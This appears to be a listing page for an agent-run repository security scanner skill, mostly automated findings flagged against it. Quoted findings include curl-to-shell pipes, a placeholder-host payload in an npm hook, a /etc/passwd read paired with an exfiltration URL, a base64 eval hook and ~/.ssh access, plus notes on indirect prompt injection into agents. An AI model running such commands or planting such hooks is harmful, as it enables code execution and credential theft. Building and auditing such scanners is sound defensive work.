job-security-scan
Free, report-only security scan of a team's repos, configured by one repository.md file. Runs Gitleaks (secrets in git history), Trivy (CVEs, Dockerfile misconfig), Semgrep (SAST), Hadolint, OSV-Scanner, TruffleHog (live credential check), vendor advisories and an offline Shai-Hulud worm check (repos and, with --host, this computer). Optional deep audit (--audit): an agent-driven, coverage-led review for logic flaws scanners miss (authorization, tenant isolation, CI trust, injection); every finding is independently re-verified. Every run writes md/json/html reports with file:line, what is new or fixed since earlier runs, verifier verdicts, and a baseline for accepted findings. Use to scan for vulnerabilities, secrets, malware or misconfigurations, for a security audit or pen-test of code, to set up a CI security pipeline, or to check for Shai-Hulud. Supports --repo, --scanner, --profile quick|standard|deep, --since.
- Created
- 6 months ago
- Last commit
- 2 days ago
Security Findings
Remote code execution pipe
SuspiciousAnalyzerDownloads and pipes to shell: curl -sSfL https://raw.githubusercontent.com/google/osv-scanner/main/scripts/install.sh | sh
Credential exfiltration chain
SuspiciousAnalyzerSensitive file access (/etc/passwd) with exfiltration URL (https://evil.example.com/x)
Language-level persistence of malicious payload
MaliciousAnalyzerPersistence (npm lifecycle hook) carrying a live payload: curl https://e.invalid | sh
Credential harvest with network exfiltration
MaliciousAnalyzerCredential/secret over-collection exfiltrated via curl in scripts/test-shai-hulud.py
External binary download
SuspiciousAnalyzerPrerequisite downloads from non-standard source: https://raw.githubusercontent.com/google/osv-scanner/main/scripts/install.sh
Eval/exec with dynamic content4×
SuspiciousAnalyzerDynamic code execution: eval "$(python3 -I scripts/parse-config.py assets/repository.md)"
Dynamic code execution: eval "$CONFIG_SH"
Dynamic code execution: eval "$CONFIG_SH" # values are shell-quoted by parse-config.py
Dynamic code execution: self.hook_pkg("eval(Buffer.from('" + "QUFB" * 600 + "','base64').toString());\n")
Privilege escalation
SuspiciousAnalyzerCommand uses sudo/privilege escalation: sudo bash job-security-scan/scripts/install-tools.sh
Sensitive file access2×
SuspiciousAnalyzerAccess to sensitive file: /etc/passwd
Access to sensitive file: ~/.ssh
Hardcoded secrets/API keys2×
SuspiciousAnalyzerPrivate Key: BEGIN...****
Secret Keyword: ****
Environment variable hijacking
SuspiciousAnalyzerRuntime-injection env var in content: GIT_PAGER="
Unreachable / dead referenced source
SuspiciousAnalyzerReferenced executable source is returning 404 (resource gone): https://raw.githubusercontent.com/google/osv-scanner/main/scripts/install.sh
Supply chain attack
MaliciousAnalyzerDownload binary + disable security + escalate privilege
Download-exec-exfil
MaliciousAnalyzerExternal download + dynamic eval + access secrets
Flagged by Gen Agent Trust Hub on skills.sh (fail · high)3×
SuspiciousLineageEXTERNAL_DOWNLOADS; COMMAND_EXECUTION; INDIRECT_PROMPT_INJECTION; DYNAMIC_EXECUTION — [INDIRECT_PROMPT_INJECTION]: Auditing untrusted code repositories creates a surface for instruction ingestion. Ingestion points: Repository source files, commit messages, and documentation are processed by the agent (scripts/audit-prepare.py and scripts/match.py). Boundary markers: Present; WORKFLOW.md and AGENT-TASK.md instruct agents to ignore instructions. Capability inventory: Skill executes shell commands and provides an execution sandbox (scripts/run-scan.sh and scripts/audit-sandbox.py). Sanitization: Present; recon-hints.json flags 'agent-directed' text patterns to be reported rather …
Socket publishes no detail for its verdict
W011 Third-party content exposure detected (indirect prompt injection risk). — Third-party content exposure detected (low risk: 0.10). The required Phase 7 advisory run fetches GHSA/OSV entries, which are public community-authored records that the agent reads and matches without selecting a specific item, but an outsider cannot force delivery of a poisoned entry into the scan, so this is low.
Versions
1- Scanned Nov 22, 2026, 07:47 AMHigh